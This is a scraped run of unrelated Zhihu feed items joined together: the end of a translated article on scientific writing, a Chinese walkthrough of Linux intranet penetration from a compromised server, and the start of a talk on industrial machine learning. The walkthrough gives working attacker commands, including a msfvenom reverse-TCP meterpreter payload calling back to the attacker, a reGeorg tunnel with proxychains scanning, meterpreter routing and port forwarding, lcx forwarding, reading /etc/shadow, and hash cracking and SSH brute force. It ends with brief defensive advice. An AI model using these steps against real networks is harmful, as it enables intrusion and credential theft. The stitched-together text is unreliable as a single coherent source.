class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic1.zhimg.com/v2-debfbbebef7a_r.jpg&&&/figure&&p&&i&表 1. 十条规则以及如何辨别文章违反了这些规则。&/i&&/p&&p&写好一篇论文通常需要来自多人的贡献。测试读者是必须的,可以确保整个论文是流畅的。他们还可以给出宝贵的建议,关于文章节奏哪里过快或过慢。他们可以辨别出什么时候需要回到绘图板,重新讲述整体内容。评审也非常有用。非科技反馈和冷漠的评审结果通常说明评审没有「get」整个文章脉络。非常具体的反馈通常能够指出某一段逻辑性不足。用积极的方式接受反馈非常关键。来自他人的反馈非常必要,因此找几个可以在这方面提供帮助的同事是提高论文质量的基本方法。为了维持好关系,不要忘了也阅读他们的文章作为回报哦~&/p&&p&&br&&/p&&h2&&b&讨论&/b&&/h2&&p&本文的重心在于论文的结构,为此不得不省去了很多写作的细节问题,包括选词、语法、创造过程和合作。关于如何写作的文章可能永远都不完备,还有很多文章介绍如何进行科学论文写作 [见参考文献 9-17]。&/p&&p&个人风格通常使写作者偏离死板、保守的文章结构,阅读创造性地改变规则的论文也是一种乐趣。但是,和生活中的很多事情一样,完全掌握标准规则是成功改变规则的前提 [18]。遵循上述原则,科学家才能够将知识传递给更多的读者,连接不同的学科领域,更高效地实现整合科学。&/p&&p&&br&&/p&&p&&br&&/p&&h2&&b&参考文献&/b&&/h2&&p&1.Hirsch JE (2005) An index to quantify an individual's scientific research output. Proc Natl Acad Sci U S A. 102: 1. pmid:&/p&&p&2.Acuna DE, Allesina S, Kording KP (2012) Future impact: Predicting scientific success. Nature. 489: 201–202. pmid:&/p&&p&3.Paiva CE, Lima JPSN, Paiva BSR (2012) Articles with short titles describing the results are cited more often. Clinics. 67: 509–513. pmid:&/p&&p&4.Carter M (2012) Designing Science Presentations: A Visual Guide to Figures, Papers, Slides, Posters, and More: Academic Press.&br&&/p&&p&5.Murdock BB Jr (1968) Serial order effects in short-term memory. J Exp Psychol. 76: Suppl:1–15.&/p&&p&6.Schimel J (2012) Writing science: how to write papers that get cited and proposals that get funded. USA: OUP.&br&&/p&&p&7.Tufte ER (1990) Envisioning information. Graphics Press.&/p&&p&8.Tufte ER The Visual Display of Quantitative Information. Graphics Press.&/p&&p&9.Lisberger SG (2011) From Science to Citation: How to Publish a Successful Scientific Paper. Stephen Lisberger.&/p&&p&10.Simons D (2012) Dan's writing and revising guide. &a href=&https://link.zhihu.com/?target=http%3A//www.dansimons.com/resources/Simons_on_writing.pdf& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&dansimons.com/resources&/span&&span class=&invisible&&/Simons_on_writing.pdf&/span&&span class=&ellipsis&&&/span&&/a& [cited 2017 Sep 9].&/p&&p&11.S?rensen C (1994) This is Not an Article—Just Some Thoughts on How to Write One. Sy?te, Finland: Oulu University, 46–59.&/p&&p&12.Day R (1988) How to write and publish a scientific paper. Phoenix: Oryx.&/p&&p&13.Lester JD, Lester J (1967) Writing research papers. Scott, Foresman.&/p&&p&14.Dumont J-L (2009) Trees, Maps, and Theorems. Principiae. &a href=&https://link.zhihu.com/?target=http%3A//www.treesmapsandtheorems.com/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&treesmapsandtheorems.com&/span&&span class=&invisible&&/&/span&&span class=&ellipsis&&&/span&&/a& [cited 2017 Sep 9].&/p&&p&15.Pinker S (2014) The Sense of Style: The Thinking Person’s Guide to Writing in the 21st Century. Viking Adult.&/p&&p&16.Bern D (1987) Writing the empirical journal. The compleat academic: A practical guide for the beginning social scientist. 171.&/p&&p&17.George GD, Swan JA (1990) The science of scientific writing. Am Sci. 78: 550–558.&/p&&p&18.Strunk W (2007) The elements of style. Penguin.&br&&/p&&p&&br&&/p&&p&原文链接:&a href=&https://link.zhihu.com/?target=http%3A//journals.plos.org/ploscompbiol/article%3Fid%3D10.Fjournal.pcbi.1005619& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&journals.plos.org/plosc&/span&&span class=&invisible&&ompbiol/article?id=10.1371%2Fjournal.pcbi.1005619&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&&br&&/p&&p&选自PLOS compbiol&/p&&p&&b&作者:Brett Mensh、Konrad Kording&/b&&/p&&p&&b&机器之心编译&/b&&/p&
良好的学术写作习惯对于职业发展和学术进步非常重要。一篇结构清晰的文章可以让读者和审阅者被文中叙述的内容打动,进而试图理解和确认研究主张的观点,并将这些贡献传递到更广范围。然而,很多科学研究者难以写出高质量的文本——他们通常没有论文写作训练…
&figure&&img src=&https://pic4.zhimg.com/v2-88e47bada730d21baf57e9_b.jpg& data-rawwidth=&440& data-rawheight=&292& class=&origin_image zh-lightbox-thumb& width=&440& data-original=&https://pic4.zhimg.com/v2-88e47bada730d21baf57e9_r.jpg&&&/figure&&p&来自nMask博客:&a href=&http://link.zhihu.com/?target=https%3A//thief.one//2/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【玩转linux系统】Linux内网渗透&/a&&/p&&p&  前段时间做了一次不算成功也不算完整的linux内网渗透,不算成功是因为并没有拿下内网中其他服务器的权限,不算完整是因为由于某些原因测试被迫暂时中止。虽然这次linux内网渗透不算是一个很好的教学案例,但我还是决定把过程记录一下,尤其重点记录linux内网渗透的思路,以防遗忘。&/p&&p&  网上关于内网渗透的资料很多,我在做测试之前也是翻阅了很多资料。本篇标题突出linux,是因为本次测试不涉及windows系统,当然linux与windows内网渗透的原理差不多,只不过使用的工具有所区别。&/p&&p&收集测试网络环境&/p&&p&  当我们拿到一台目标内网服务器,或者说肉鸡服务器,首先要做的就是收集信息。而在我看来需要收集的信息中,最重要的之一便是肉鸡的网络环境。&/p&&p&&br&&/p&&h2&实验环境&/h2&&p&首先介绍下本次测试的服务器环境:&/p&&blockquote&攻击机Mac:110.xx.xx.xx 外网&br&肉鸡centos:192.168.16.x 目标内网16网段系统&br&内网渗透范围:192.168.17.0/24 目标内网17网段系统&/blockquote&&p&本次测试模拟假设:由于肉鸡服务器上对外开放了存在漏洞的web应用,被入侵植入webshell。&/p&&p&本次测试目的:通过肉鸡服务器上的shell,深入渗透内网17网段的服务器。&/p&&p&&br&&/p&&h2&收集测试哪些网络数据?&/h2&&p&  ok,目前我已经拥有了肉鸡的shell,那么该收集肉鸡服务器的哪些网络环境呢?又该如何去测试?我认为至少要收集以下几点网络环境信息:&/p&&blockquote&肉鸡服务器与外网的连通性&br&肉鸡服务器与内网其他网段的连通性&br&肉鸡服务器与外网之间是否有端口访问限制&br&肉鸡服务器与内网其他网段之间是否有端口访问限制&/blockquote&&p&注:连通性主要是指能否ping通,需要双方互相ping测试;端口访问限制,指的是目标网络边界是否有堡垒机或者防火墙,对进出的端口是否有做限制。&/p&&p&&br&&/p&&h2&端口访问限制测试&/h2&&p&ping测试这里不介绍了,主要说下如何测试端口访问限制,可以使用的工具如下:&/p&&blockquote&curl、wget(可连接web服务,主要为80、443、8000+端口)&br&telnet(可主动连接指定ip的指定port)&br&nmap(可扫描端口,open或者filter)&br&ncat(可以创建端口监听,也可以主动连接)&br&python(可主动创建端口监听)&/blockquote&&p&……&/p&&p&在测试端口访问限制前,我们先要搞清楚当前的网络环境。本次测试中,攻击机在外网而肉鸡在内网,因此正常情况下攻击机是无法直接访问到肉鸡上某个端口的(需要网络边界路由器做端口映射)。&/p&&p&&br&&/p&&p&反向连接测试&/p&&p&我们在测试端口访问限制时,首先可以利用ncat在攻击机上监听一个端口。&/p&&blockquote&ncat -l -p 9999&/blockquote&&p&然后利用ncat或者telnet等工具在肉鸡上尝试连接,我称之为反向连接测试。&/p&&blockquote&ncat 110.xx.xx.xx 9999&/blockquote&&p&注:监听的端口可以随机选取,尽量选取多个端口尝试多次;如果肉鸡能够访问攻击机的任何端口,说明目标网络边界没有对出方向的连接做限制,了解这方面的信息对后面的端口转发有很大好处。&/p&&p&&br&&/p&&p&正向连接测试&/p&&p&  我们也可以在肉鸡上监听一个端口,攻击机上尝试连接(这里连接的是肉鸡的外网ip地址,肉鸡对外开放的web应用肯定是以一个外网ip或者域名的形式存在,而该ip在本次测试中并不是肉鸡真正的ip地址,是目标边界网络设备的ip,原理是通过端口映射将网络设备(外网ip)上的web端口映射到了肉鸡(内网ip)的web端口上),我称之为正向连接测试。&/p&&p&  尝试连接肉鸡外网地址的端口,意义在于有些粗心的管理员会在网络设备上设置全端口映射,也就是说肉鸡上监听任何端口都能映射到网络边界设备的相同端口上,那么这跟肉鸡服务器直接处在外网就没差了。&/p&&p&&br&&/p&&h2&收集服务器信息&/h2&&p&收集信息可以说是渗透测试的第一步,内网渗透也一样,收集的服务器信息越多,渗透的成功率就越大。&/p&&p&&br&&/p&&p&查看系统内核&/p&&p&linux系统上查看内核版本如下:&/p&&blockquote&lsb_release –a&/blockquote&&p&  一般系统的入侵途径是先提权,而提权可以通过linux内核漏洞进行,因此可以先查看linux内核版本,然后根据内核寻找exp的网站,上传exp进行提权。由于本次测试不涉及提权部分,因此不做测试,另外补充一句:内核提权有宕机风险,请谨慎操作。&/p&&p&&br&&/p&&p&查看操作系统位数&/p&&p&linux系统上查看位数如下:&/p&&blockquote&getconf LONG_BIT&/blockquote&&p&说明:知道系统是32位还是64位对后期生成msf木马有帮助。&/p&&p&&br&&/p&&p&系统敏感信息&/p&&p&收集一些系统相关的敏感信息,比如账号密码、日志、历史命令、ssh文件等。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&/etc/shadow
/etc/passwd
&/code&&/pre&&/div&&p&&br&&/p&&p&web敏感信息&/p&&p&如果服务器存在web应用,可以查看web目录下是否存在敏感信息,比如连接数据库的配置文件等等。&/p&&p&&br&&/p&&h2&内网扫描&/h2&&p&  当信息收集完成后,可以尝试扫描一下内网的机器,比如主机存活扫描、端口扫描、arp扫描等。端口扫描可以使用nmap、msf等工具,但如果服务器上没有安装这些工具时,通常有3种手段可以达到内网端口扫描的效果。第一种就是服务器上安装扫描工具,这里不多说也不推荐,因为动静大且麻烦(当然可以上传python扫描端口的脚本,不需要编译安装,比较方便。);第二种就是端口转发,将服务器内网端口转发到外网进行扫描;第三种就是代理扫描,也就是把装有扫描工具的攻击机代理到目标内网环境。&/p&&p&  无论是端口转发扫描还是代理扫描,原理都是打通攻击机(外网)与肉鸡(内网)的连通性,即让攻击机可以直接访问到肉鸡所在的内网资源。这里的连接不借助于目标网络边界设备的端口映射功能,因此与攻击机访问肉鸡web服务所产生的连接有所区别。&/p&&p&&br&&/p&&h2&端口转发&/h2&&p&  想要达到以上所介绍的彼此”直接”的连接,我们需要一个中间的桥梁,来传递内外网(攻击机与肉鸡)之间的数据。搭建这种桥梁的方式有很多,我们首先可以想到端口转发,即把肉鸡服务器上的某个端口转发到攻击机的某个端口上,这样攻击机上访问本机某个端口,就相当于访问了肉鸡服务器上的某个端口。&/p&&p&&br&&/p&&blockquote&端口转发的工具:lcx、meterpreter等,具体用法后面会介绍&br&端口转发类型:tcp端口转发、http转发、ssh转发等&/blockquote&&p&&br&&/p&&p&tcp端口转发&/p&&p&&br&&/p&&p&本机转发:攻击机上监听端口,肉鸡上连接攻击机的2222端口,并转发肉鸡22端口。&/p&&p&转发连接原理:&/p&&blockquote&肉鸡22端口&--&肉鸡随机高端口&--&肉鸡随机高端口&--&攻击机上2222高端口&--&攻击机随机高端口&--&攻击机3333端口&/blockquote&&p&注:此时我们去连接攻击机的3333端口,就相当于连接了肉鸡的22端口。&/p&&p&&br&&/p&&p&远程转发:攻击机上监听端口,肉鸡上连接攻击机的2222端口,并转发内网目标服务器的22端口。(前提是肉鸡能够连接目标服务器的22端口)&/p&&p&转发连接原理:&/p&&blockquote&内网目标服务器22端口&--&肉鸡随机高端口&--&肉鸡随机高端口&--&攻击机上2222高端口&--&攻击机随机高端口&--&攻击机3333端口&/blockquote&&p&注:此时我们去连接攻击机的3333端口,就相当于连接了目标服务器的22端口。&/p&&p&&br&&/p&&p&说明:从上面的连接过程不难看出,端口转发比较难以防范的原因就在于,攻击机上监听的端口是随机的,不可预知的,因此不可能事先在堡垒机或者防火墙上做出方向的端口策略,除非禁止服务器访问外部所有端口(现实情况大多只对进方向的端口连接做限制)。&/p&&p&&br&&/p&&p&http转发&/p&&p&&br&&/p&&p&  有些安全意思强的管理员,会对一些服务器做禁止访问外网的策略,即服务器禁止连接任何外网的端口。此时普通的tcp端口转发就没有效果了,因为转发的前提是要能互相连接上。此种情况,可以使用http转发。&/p&&p&转发连接原理:&/p&&blockquote&肉鸡web端口(80)&--&网络边界设备端口(80)&--&攻击机随机端口&/blockquote&&p&注:这里之所以能够连通,是借助了服务器上的web服务,以及网络边界设备的映射功能。&/p&&p&&br&&/p&&p&说明:虽然肉鸡不能访问外网任何端口,但只要它对外提供web服务,就说明它还能跟外界通信,只不过这种通信局限于web服务端口中,并且肉鸡不是直接跟攻击机通信,而是借助了边界设备。&/p&&p&&br&&/p&&h2&代理扫描内网&/h2&&p&  以上介绍了几种端口转发的使用以及原理,从中我们不难看出端口转发固然厉害,但也很局限,因为每次都只能转发一个ip的一个端口,对于扫描来说,并不是最好的选择方案。因此出现了一种更好的技术方案–代理扫描,其原理与端口转发差不多,都是需要搭建一个桥梁,而这个桥梁往往不是某个端口,而是shell或者说session。&/p&&p&&br&&/p&&p&代理扫描同样可以分为tcp代理扫描、http代理扫描。&/p&&p&&br&&/p&&p&http代理转发&/p&&p&&br&&/p&&p&如果目标服务器有web系统,可以使用Regeorg + proxychains。&/p&&p&工具下载:reGeorg、proxychains&/p&&p&将reGeorg的tunnel文件上传到肉鸡服务器到网站目录下,攻击机执行:&/p&&blockquote&python &a href=&http://link.zhihu.com/?target=http%3A//regeorgsocksproxy.py/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&reGeorgSocksProxy.py&/a& -p 2333 -u &a href=&http://link.zhihu.com/?target=http%3A//test.com/tunnel.php& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&test.com/tunnel.php&/span&&span class=&invisible&&&/span&&/a&&/blockquote&&p&然后修改proxychains.conf 配置文件&/p&&blockquote&vim /etc/proxychains.conf
(mac上在~/.proxychains/proxychains.conf ,没有则自己创建)&/blockquote&&p&在最后一行添加socks5 127.0.0.1 2333(与regeorg设置的端口相同)&/p&&p&&br&&/p&&p&最后在攻击机使用扫描工具时,可以在执行的命令前加proxhchains4, 比如:&/p&&blockquote&proxychains4 nmap -sT -Pn -n 192.168.16.0/24&/blockquote&&p&注:此方案适合攻击者与肉鸡服务器都在各自内网环境,攻击者可以访问到目标服务器的http服务,通过该http服务进行代理转发(速度较慢).&/p&&p&&br&&/p&&p&tcp代理转发&/p&&p&&br&&/p&&p&思路:通过metasploit木马反弹一个肉鸡的meterpreter shell到攻击机上,然后在meterpreter shell上设置路由,我们便可以在攻击机上直接扫描肉鸡所在的网段服务器(这里是可以跨网段扫描的)。&/p&&p&&br&&/p&&p&(1)生成msf木马&/p&&p&&br&&/p&&p&生成木马:&/p&&blockquote&msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=8000 -f elf & shell_8000.elf&/blockquote&&p&由于攻击机无法访问肉鸡的端口,而肉鸡可以访问攻击机的端口,因此生成一个反向的木马。&/p&&p&&br&&/p&&p&(2)反弹shell&/p&&p&&br&&/p&&p&  攻击机运行msfconsole,使用exoloit/multi/handler模块,set payload linux/x86/meterpreter/reverse_tcp跟生成木马时用的payload一样。LPORT设置成木马将要连接的端口,运行后会在攻击机上监听一个端口,等待木马链接。&/p&&p&  此时将shell_8000.elf上传到肉鸡服务器上,添加权限后运行木马将会主动连接上攻击机监听的端口,并在攻击机上获取一个meterpreter shell。&/p&&p&&br&&/p&&p&(3)设置路由&/p&&p&&br&&/p&&p&上一步获取到了一个session,这个session是攻击机与肉鸡相互连接的会话。&/p&&p&查看下肉鸡的网络情况:&/p&&blockquote&run get_local_subnets&/blockquote&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-f3afa209c24db4d76b2c554d9b5b443e_b.jpg& data-rawwidth=&1716& data-rawheight=&228& class=&origin_image zh-lightbox-thumb& width=&1716& data-original=&https://pic4.zhimg.com/v2-f3afa209c24db4d76b2c554d9b5b443e_r.jpg&&&/figure&&p&&br&&/p&&p&添加路由:&/p&&blockquote&run autoroute -s 192.168.16.0/24&/blockquote&&p&查看路由:&/p&&blockquote&run autoroute –p&/blockquote&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/v2-547be5ffaa98b_b.jpg& data-rawwidth=&1718& data-rawheight=&836& class=&origin_image zh-lightbox-thumb& width=&1718& data-original=&https://pic1.zhimg.com/v2-547be5ffaa98b_r.jpg&&&/figure&&p&&br&&/p&&p&一般来说,这里设置好路由就可以了,但是有些时候会发现在meterpreter中有效果,但是在msf中失效了,因此可以在msf中再设置一次。(但前提是meterpreter会话要一直存在)将该会话放入后台,进入msf中添加路由。&/p&&p&查看路由:&/p&&figure&&img src=&https://pic3.zhimg.com/v2-eff3a6ec0823_b.jpg& data-rawwidth=&1646& data-rawheight=&1038& class=&origin_image zh-lightbox-thumb& width=&1646& data-original=&https://pic3.zhimg.com/v2-eff3a6ec0823_r.jpg&&&/figure&&p&&br&&/p&&p&这里已经是添加好的结果,添加路由命令:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&msf exploit(handler) & route add 192.168.16.0 255.255.255.0 12
msf exploit(handler) & route add 192.168.17.0 255.255.255.0 12
&/code&&/pre&&/div&&p&注意:12表示session id,由于我们需要访问17网段,因此这里也要添加17网段的路由。&/p&&p&&br&&/p&&p&说明:以上2条路由的意思,是攻击机如果要去访问17或者16网段的资源,其下一跳是session12,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。&/p&&p&&br&&/p&&p&转发连接原理:&/p&&blockquote&攻击机&--&meterpreter_shell(session)&--&肉鸡 # 这里不是端口的概念,而是路由&/blockquote&&p&&br&&/p&&p&tcp全局代理转发&/p&&p&&br&&/p&&p&  通过以上设置,在msf中可以访问内网资源了,但也仅限在msf中可以访问。如果想要其他工具也能使用代理,则要设置全局代理,这需要使用msf框架中的socks4a工具代理,目录:auxiliary/server/socks4a,然后配合Proxychains ,使用方法跟http代理类似。&/p&&p&&br&&/p&&p&注:此代理不是http代理,是tcp代理,因此需要目标服务器或者攻击者服务器,有一方在外网的环境,不然木马端口无法连接,也就无法获取meterpreter shell。&/p&&p&&br&&/p&&p&metasploit操作可参考:&a href=&http://link.zhihu.com/?target=https%3A//thief.one//1/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【渗透神器系列】Metasploit&/a&&/p&&p&&br&&/p&&h2&端口扫描工具&/h2&&p&推荐使用metasploit进行tcp代理转发后,利用msf上面整合的很多扫描模块,直接进行扫描。&/p&&p&扫描模块:&/p&&blockquote&auxiliary/scanner/portscan  端口扫描&br&scanner/portscan/syn  SYN端口扫描&br&scanner/portscan/tcp  TCP端口扫描&br&……&/blockquote&&p&除此之外,也可以使用nmap等扫描工具,结合tcp全局代理转发即可。&/p&&p&&br&&/p&&h2&针对22端口的入侵&/h2&&p&  扫描出内网服务器端口后,我们可以首先选择开放22端口的服务器进行入侵尝试。攻击22端口通常有2种方法,第一种是先读取肉鸡明文密码,再利用明文密码尝试登陆;第二种是字典暴力登陆。&/p&&p&&br&&/p&&p&尝试hash破解&/p&&p&&br&&/p&&p&如果权限足够,我们可以顺利读取/etc/shadow文件的内容,然而是密文的,因此可以尝试用工具破解。&/p&&blockquote&John破解hash&br&Hashcat&/blockquote&&p&注:windows下可以使用mimikatz&/p&&p&&br&&/p&&p&说明:获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同,因此可以使用获取的服务器密码去尝试登陆其余开放了22端口的内网服务器。&/p&&p&&br&&/p&&p&字典暴力破解&/p&&p&&br&&/p&&p&这个没啥好说的,主要看字典是否强大,以及是否有防止爆破限制。&/p&&p&工具:&/p&&blockquote&hydra&br&msf上的相应模块&/blockquote&&p&&br&&/p&&h2&针对其他端口的入侵&/h2&&p&  除了22端口外,21(ftp)、3306(mysql)、1433(mssql)等都可以通过暴力破解的方式。那么其他段端口呢?比如445、443等,这些则可以通过相应的漏洞进行攻击,通过可以使用nessus扫描器进行扫描,对发现的漏洞再集合msf上相应的模块进行攻击。&/p&&p&&br&&/p&&h2&针对web服务的入侵&/h2&&p&  除了以上的端口外,还有一类端口比较特殊,那就是web服务类的端口,比如80、443、8000+等。由于这些端口上存在web应用,而web应用又是容易存在漏洞的点。因此可以重点寻找内网中存在web服务的服务器,并依照web渗透测试的流程对其web应用进行渗透。&/p&&p&&br&&/p&&h2&端口转发的逆袭&/h2&&p&  前文介绍了端口转发技术,但在扫描环节中我并没有使用这种方案。那么是不是说端口转发在内网渗透中没有用武之地呢?&/p&&p&  事实并不是这样,内网扫描过后的漏洞利用攻击阶段,才是端口转发真正的舞台。在此阶段,我们可以利用端口转发,将某个存在漏洞的服务器的某个端口转发出来,单独攻击利用。我们可以想到在windows中,利用lcx转发3389端口,linux下同样可以转发22端口,当然更好用的是转发80端口,达到可以本地访问内网的web服务,从而继续web渗透的套路,扩大攻击面。&/p&&p&&br&&/p&&p&meterpreter实现端口转发&/p&&p&&br&&/p&&p&在meterpreter shell中输入:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&meterpreter & portfwd add -l 55555 -r 192.168.16.1 -p 3306
&/code&&/pre&&/div&&p&说明:表示将192.168.16.1服务器上的3306端口转发到本地(攻击机)的55555端口,然后我们可以在本地运行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陆内网服务器的mysql。其他端口如ssh、ftp等都类似,这个过程跟msf代理很像。&/p&&p&&br&&/p&&p&案例&/p&&p&将肉鸡的22端口转发到攻击机的2222端口,看一下连接情况。&/p&&figure&&img src=&https://pic1.zhimg.com/v2-d5cceceeb6ff4a_b.jpg& data-rawwidth=&1408& data-rawheight=&288& class=&origin_image zh-lightbox-thumb& width=&1408& data-original=&https://pic1.zhimg.com/v2-d5cceceeb6ff4a_r.jpg&&&/figure&&p&发现攻击机上监听了2222端口,连接到了本机其外一个高端口。&/p&&p&&br&&/p&&figure&&img src=&https://pic7.zhimg.com/v2-0f74e9ddb70f6bf64744_b.jpg& data-rawwidth=&1406& data-rawheight=&48& class=&origin_image zh-lightbox-thumb& width=&1406& data-original=&https://pic7.zhimg.com/v2-0f74e9ddb70f6bf64744_r.jpg&&&/figure&&p&&br&&/p&&p&肉鸡的22端口也连接到了肉鸡自己的一个高端口&/p&&p&&br&&/p&&p&那么两台服务器之间的两个高端口之间是怎么连接的,我想肯定是利用meterpreter会话。因此meterpreter会话就相当于一个中间人,传递原本无法传递的消息。&/p&&p&&br&&/p&&p&lcx端口转发&/p&&p&&br&&/p&&p&攻击机:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&lcx -listen
# 2222为转发端口,3333为本机任意未被占用的端口
&/code&&/pre&&/div&&p&肉鸡:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&lcx -slave 110.1.1.1 .0.1 3389
&/code&&/pre&&/div&&p&110.1.1.1为攻击机外网ip,2222为转发端口,127.0.0.1为肉鸡内网ip,3389为远程终端端口 。&/p&&p&&br&&/p&&h2&内网嗅探&/h2&&p&  windows下可以使用cain,linux下可以使用msf中的模块。当然一般情况下,最好不要用内网嗅探,因为动静太大,而且可能会影响内网网络。&/p&&p&&br&&/p&&h2&linux内网安全建议&/h2&&p&  说了这么多内网渗透的套路,按惯例最后该给出内网安全建设的几点建议了,当然只是个人看法,可以一起留言讨论。&/p&&blockquote&每台服务器上安装监控软件,监控并拦截木马程序的运行(监控木马文件以及行为)&br&监控服务器上开启的新端口,查看其连接情况,是否有异常连接(监控异常端口)&br&服务器及时更新补丁,以及最新系统漏洞补丁(减少漏洞)&br&服务器上运行的应用给予低权限(增加提权的难度)&br&不必要连接外网的服务器,禁止连接外网(减少被入侵的风险)&br&日志记录并且实时监控(监控异常操作以及暴力破解行为)&/blockquote&&p&&br&&/p&&p&&br&&/p&&p&参考文章&/p&&p&&a href=&http://link.zhihu.com/?target=http%3A//bobao.360.cn/learning/detail/4164.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&使用 MSF 路由转发实现MSF框架的内网渗透&/a&&/p&&p&&a href=&http://link.zhihu.com/?target=http%3A//bobao.360.cn/learning/detail/3204.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&内网渗透--网络环境的判断 - 安全客 - 有思想的安全新媒体&/a&&/p&&p&&a href=&http://link.zhihu.com/?target=http%3A//www.freebuf.com/sectool/56432.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Metasploit渗透技巧:后渗透Meterpreter代理 - FreeBuf.COM | 关注黑客与极客&/a&&/p&&p&&a href=&http://link.zhihu.com/?target=http%3A//www.freebuf.com/articles/network/125278.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&图解Meterpreter实现网络穿透的方法 - FreeBuf.COM | 关注黑客与极客&/a&&/p&&p&&br&&/p&&p&传送门&/p&&p&&a href=&http://link.zhihu.com/?target=https%3A//thief.one//1/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【玩转linux系列】Vim使用&/a&&/p&&p&&a href=&http://link.zhihu.com/?target=https%3A//thief.one//1/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【玩转Linux系列】Linux基础命令&/a&&/p&
来自nMask博客: 前段时间做了一次不算成功也不算完整的linux内网渗透,不算成功是因为并没有拿下内网中其他服务器的权限,不算完整是因为由于某些原因测试被迫暂时中止。虽然这次linux内网渗透不算是一个很好的教学案例,但…
&figure&&img src=&https://pic2.zhimg.com/v2-0ccb3640866ffe7bdbac_b.jpg& data-rawwidth=&1619& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1619& data-original=&https://pic2.zhimg.com/v2-0ccb3640866ffe7bdbac_r.jpg&&&/figure&&blockquote&&p&&em&第四范式联合创始人、首席研究科学家陈雨强是世界级深度学习、迁移学习专家,曾在 NIPS、AAAI、ACL、SIGKDD 等顶会上发表论文,并获 APWeb2010 Best Paper Award,KDD Cup 2011 名列前三,其学术工作在 2010 年作被全球著名科技杂志 MIT Technology Review 报道。&/em&&br&&/p&&/blockquote&&p&陈雨强也是机器学习工业应用全球领军人物,在百度凤巢任职期间主持了世界首个商用深度学习系统、在今日头条期间主持了全新的信息流推荐与广告系统的设计实现。陈雨强目前担任第四范式首席研究科学家,第四范式在人工智能领域科研技术领先,刚刚揭晓的「第六届吴文俊人工智能科学技术奖」,第四范式荣获一等奖,该奖项代表国内最高科研实力。&br&&/p&&p&此前,陈雨强在机器之心线下活动中,给业内人士分享了其对于机器学习在工业应用中的新思考。以下为活动现场的速记整理。&/p&&br&&p&我是来自第四范式的陈雨强,负责人工智能算法研究、开发等相关工作。就我此前在工业界的经历,今天跟大家分享的是——「机器学习在工业应用中的新思考」。&/p&&p&&a class=&video-box& href=&http://link.zhihu.com/?target=https%3A//v.qq.com/x/page/yds.html& target=&_blank& data-video-id=&& data-video-playable=&& data-name=&机器之心-机器学习在工业中的新应用 - 腾讯视频& data-poster=&//shp.qpic.cn/qqvideo_ori/0/yds_228_128/0& data-lens-id=&&&
&img class=&thumbnail& src=&//shp.qpic.cn/qqvideo_ori/0/yds_228_128/0&&&span class=&content&&
&span class=&title&&机器之心-机器学习在工业中的新应用 - 腾讯视频&span class=&z-ico-extern-gray&&&/span&&span class=&z-ico-extern-blue&&&/span&&/span&
&span class=&url&&&span class=&z-ico-video&&&/span&https://v.qq.com/x/page/yds.html&/span&
&/p&&p&&b&正在改变的公司和行业&/b&&/p&&p&&figure&&img src=&http://pic1.zhimg.com/v2-9efaaa69cbdab317bf9a8_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic1.zhimg.com/v2-9efaaa69cbdab317bf9a8_r.jpg&&&/figure&人工智能在工业界越来越火,过去五年火热程度以指数的方式上升。不管是在公司内部,还是在公司之间、行业之间,人工智能正在变成一个炙手可热的名词。从公开资料上可以看到,Google 和 Facebook 在 2012 年时,只有搜索和推荐等几个少数核心项目使用了机器学习。随着时间推移,到
2016 年第二季度,Google 已经有超过 2000 个项目和产品正在使用深度学习。同时也有报道称,Facebook 已经有超过
17 个大团队、超过 25% 的工程师正在使用机器学习。也就是说,在互联网行业巨头里、公司内,机器学习的影响力正在从少数几个产品迅速扩展到更多的场景。另外,我们发现一个很有意思的现象,就是
AI 慢慢扩展到全行业的影响,当前的趋势正在从之前的「互联网+」或者「移动+」,慢慢转向为「AI+」。比如滴滴是「互联网+打车」,美团是「互联网+O2O」,很多公司之前做的是「怎么用互联网改变传统行业」。但是现在,他们纷纷转向「如何用积累下来的数据提供更多的价值」。还有一些公司,从创立初始就是「AI+」,比如今日头条是「AI+新闻」、大疆是「AI+无人机/机器人」。我们可以看到,AI 正在慢慢渗透到并且改变所有的行业。&/p&&figure&&img src=&http://pic4.zhimg.com/v2-f147b3ea20b_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic4.zhimg.com/v2-f147b3ea20b_r.jpg&&&/figure&&p&在跟大家分享之前,介绍一下我的个人经历。AI 大潮的热度从 2010 年初开始呈指数上升,我非常幸运地赶上了这个大潮。我在学校时主要做人工智能和机器学习的相关研究,具体包括迁移学习等,也在
